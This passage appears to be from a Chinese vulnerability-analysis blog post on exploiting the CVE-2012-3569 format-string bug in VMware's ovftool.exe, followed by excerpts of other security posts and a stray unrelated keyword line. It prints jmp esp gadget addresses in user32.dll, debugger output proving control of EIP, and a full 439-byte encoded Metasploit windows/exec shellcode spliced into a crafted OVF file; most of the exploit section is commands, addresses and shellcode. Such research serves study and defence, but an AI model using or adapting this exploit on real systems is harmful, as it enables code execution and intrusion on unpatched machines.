    C:\Documents and Settings\test\Desktop>findjmp user32.dll esp Findjmp, Eeye, I2S-LaBFindjmp2, Hat-SquadScanning user32.dll for code useable with the esp register... 0x7E48699C      jmp esp0x7E4869A8      jmp esp0x7E486A38      jmp esp0x7E486B54      jmp esp0x7E486B58      jmp esp0x7E486B5C      jmp esp0x7E4870DB      call esp0x7E487443      jmp esp0x7E48748B      jmp esp0x7E48754C      jmp esp0x7E48B00B      call esp0x7E48B227      call esp...
    

    選擇倒數第三個0x7E48754C(經過實驗ovftool.exe不會出錯)。

    ②確定替換位置

    直接在生成的字符串中搜索7Cb8,結果找到了三個位置,為了確定是哪個位置的7Cb8會作為返回地址,分別把這兩個位置的字符替換成AAAA、BBBB和aaaa,重新調試執行之后,程序跳轉到了0x61616161:

    (d44.c34): Access violation - code c0000005 (!!! second chance !!!)eax=00000001 ebx=00000000 ecx=5bc6422a edx=12910030 esi=00000001 edi=016138e0eip=61616161 esp=00121008 ebp=62433662 iopl=0         nv up ei pl nz ac pe nccs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=0000021661616161 ??              ???
    

    因此可以確定第三個7Cb8的位置會變成返回地址,將其替換為jump esp的地址。

    3.2.3 執行shellcode

    將返回地址的位置替換為jump esp指令地址之后,已經能夠控制程序的執行流程了,接下來需要將shellcode替換填充到返回地址的后面,實現shellcode的執行。

    使用msf生成一個彈計算器的shellcode,注意要排除\x00字符,同時選擇x86/alpha_upper編碼器,并設置ESP寄存器指向shellcode:

    msf6 payload(windows/exec) > generate -b "\x00" -e x86/alpha_upper BufferRegister=ESP -f perl# windows/exec - 439 bytes# https://metasploit.com/# Encoder: x86/alpha_upper# VERBOSE=false, PrependMigrate=false, EXITFUNC=seh, CMD=calcmy $buf ="\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a" ."\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48" ."\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51" ."\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43" ."\x4a\x4a\x49\x4b\x4c\x4d\x38\x4c\x42\x33\x30\x35\x50\x55" ."\x50\x45\x30\x4c\x49\x4d\x35\x56\x51\x4f\x30\x53\x54\x4c" ."\x4b\x50\x50\x46\x50\x4c\x4b\x56\x32\x44\x4c\x4c\x4b\x46" ."\x32\x54\x54\x4c\x4b\x44\x32\x47\x58\x34\x4f\x38\x37\x51" ."\x5a\x56\x46\x56\x51\x4b\x4f\x4e\x4c\x37\x4c\x55\x31\x53" ."\x4c\x54\x42\x56\x4c\x57\x50\x59\x51\x48\x4f\x34\x4d\x45" ."\x51\x58\x47\x4a\x42\x4c\x32\x36\x32\x56\x37\x4c\x4b\x31" ."\x42\x34\x50\x4c\x4b\x30\x4a\x37\x4c\x4c\x4b\x30\x4c\x34" ."\x51\x32\x58\x4b\x53\x51\x58\x35\x51\x4e\x31\x36\x31\x4c" ."\x4b\x30\x59\x47\x50\x55\x51\x49\x43\x4c\x4b\x37\x39\x55" ."\x48\x4d\x33\x56\x5a\x57\x39\x4c\x4b\x36\x54\x4c\x4b\x43" ."\x31\x39\x46\x56\x51\x4b\x4f\x4e\x4c\x4f\x31\x58\x4f\x54" ."\x4d\x55\x51\x4f\x37\x47\x48\x4d\x30\x53\x45\x4b\x46\x54" ."\x43\x33\x4d\x4b\x48\x47\x4b\x53\x4d\x57\x54\x33\x45\x4d" ."\x34\x31\x48\x4c\x4b\x31\x48\x47\x54\x53\x31\x59\x43\x55" ."\x36\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x51\x48\x45\x4c\x55" ."\x51\x48\x53\x4c\x4b\x43\x34\x4c\x4b\x43\x31\x4e\x30\x4c" ."\x49\x31\x54\x46\x44\x46\x44\x51\x4b\x51\x4b\x35\x31\x30" ."\x59\x31\x4a\x46\x31\x4b\x4f\x4b\x50\x31\x4f\x51\x4f\x51" ."\x4a\x4c\x4b\x44\x52\x4a\x4b\x4c\x4d\x31\x4d\x33\x5a\x33" ."\x31\x4c\x4d\x4b\x35\x4f\x42\x53\x30\x55\x50\x43\x30\x30" ."\x50\x52\x48\x30\x31\x4c\x4b\x52\x4f\x4b\x37\x4b\x4f\x39" ."\x45\x4f\x4b\x4b\x4e\x54\x4e\x47\x42\x4a\x4a\x45\x38\x59" ."\x36\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x59\x45\x47\x4c\x33" ."\x36\x43\x4c\x45\x5a\x4b\x30\x4b\x4b\x4b\x50\x42\x55\x34" ."\x45\x4f\x4b\x31\x57\x42\x33\x52\x52\x52\x4f\x33\x5a\x43" ."\x30\x36\x33\x4b\x4f\x49\x45\x35\x33\x55\x31\x42\x4c\x32" ."\x43\x33\x30\x41\x41";
    

    最后用生成的439個字節的shellcode內容替換掉返回地址后面的439個字節。

    在命令行中使用ovftool.exe加載制作好的test.ovf文件,成功彈出計算器:

    總結

    和其他漏洞相比,格式化字符串漏洞的分析過程其實格外地明確,因為它的原理是很單一的。關鍵點就在于要確定格式化輸出函數的位置,而由于存在“輸出”的過程,因此可以根據輸出結果對代碼進行初步定位。一旦確定了格式化輸出函數的位置,就能夠進行漏洞利用了。而關于漏洞利用的方法,之前也有了很詳細的分析過程,因此此次的漏洞分析過程雖然走了一些彎路,但是總體上是一次比較流暢的分析過程。

    esisub
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    關于堆棧ShellCode操作:基礎理論002-利用fs寄存器尋找當前程序dll的入口:從動態運行的程序中定位所需dll003-尋找大兵LoadLibraryA:從定位到的dll中尋找所需函數地址004-被截斷的shellCode:加解密,解決shellCode的零字截斷問題
    這似乎又是一個0 day漏洞,這個漏洞與pif文件有關,是我在研究pif文件的時候發現的。
    可在其中找受影響的版本復現,在受影響版本的系統中找到win32k.sys導入IDA。漏洞函數位于win32k.sys的SetImeInfoEx()函數,該函數在使用一個內核對象的字段之前并沒有進行是否為空的判斷,當該值為空時,函數直接讀取零地址內存。如果在當前進程環境中沒有映射零頁面,該函數將觸發頁面錯誤異常,導致系統藍屏發生。tagWINDOWSTATIONspklList對象的結構為:漏洞觸發驗證查看SSDT表dd KeServiceDescriptorTabledds Address L11C 顯示地址里面值指向的地址. 以4個字節顯示。
    該漏洞發生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數,產生的原因是沒有對該函數中調用的xxxMNFindWindowFromPoint函數的返回值進行合法性驗證,直接將其作為參數傳遞給后面的xxxSendMessage函數調用,從而造成了提權漏洞。
    在對它的調用時候,壓入的兩個參數除了NotifyRoutine和Remove以外,還壓入了一個0。
    這次分析了CVE-2012-3569 ovftool.exe中的格式化字符串漏洞。之前使用示例程序詳細分析過應該怎樣利用格式化字符串漏洞(參考資料2),而針對該漏洞,《漏洞戰爭》中并沒有進行詳細分析,因此我幾乎是從頭到尾按照自己的思路獨立完成了這個漏洞的分析以及利用,其中漏洞利用部分又占據了比較大的篇幅,因此對于格式化字符串漏洞在實際中的利用方式有了更深刻的了解。
    首先恭喜0x401 Team首次在CTF比賽中奪得第一名,順便和學弟AK了逆向,戰隊能取得今天的成績離不開隊員的努力。OddCode這題有大量花指令和垃圾跳轉,手動分析幾乎不可能,如果使用unicorn模擬執行會方便很多。?比賽時一直爆肝到凌晨5點才把這題弄出來,本文的解法是我賽后優化之后的解法。3unicorn模擬調試最開始看到用unicorn實現調試器的思路是在這篇文章
    看雪論壇作者ID:LarryS
    漏洞分析 CVE-2010-0249
    2023-11-25 17:50:17
    漏洞分析 CVE-2010-0249
    關于堆噴堆噴射(Heap Spraying)是一種計算機安全攻擊技術,它旨在在進程的堆中創建多個包含惡意負載的內存塊。這種技術允許攻擊者避免需要知道負載確切的內存地址,因為通過廣泛地“噴射”堆,攻擊者可以提高惡意負載被成功執行的機會。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类